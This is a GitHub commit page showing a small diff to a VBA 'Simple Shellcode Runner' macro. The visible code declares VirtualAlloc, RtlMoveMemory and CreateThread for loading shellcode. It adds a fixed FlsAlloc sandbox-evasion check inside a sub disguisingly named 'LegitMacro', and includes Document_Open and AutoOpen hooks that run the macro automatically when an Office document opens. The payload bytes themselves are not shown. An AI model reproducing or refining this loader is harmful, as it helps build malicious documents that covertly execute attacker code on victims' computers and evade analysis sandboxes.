Skip to content

Commit

Permalink
Update Simple Shellcode Runner.vba
Browse files Browse the repository at this point in the history
Small errors in FlsAlloc
  • Loading branch information
Pal1Sec authored Jul 31, 2021
1 parent 313325d commit 8845b51
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions Simple Shellcode Runner/Simple Shellcode Runner.vba
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Lo
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function FlsAlloc Lib "KERNEL32" (ByVal callback As LongPtr) As LongPtr
Sub LegitMacro()
Dim allocRes As LongPtr
Dim t1 As Date
Expand All @@ -15,7 +15,7 @@ Sub LegitMacro()
Dim res As LongPtr

' Call FlsAlloc and verify if the result exists
allocRes = FlsAlloc()
allocRes = FlsAlloc(0)
If IsNull(allocRes) Then
End
End If
Expand Down Expand Up @@ -64,4 +64,4 @@ Sub Document_Open()
End Sub
Sub AutoOpen()
MyMacro
End Sub
End Sub

0 comments on commit 8845b51

Please sign in to comment.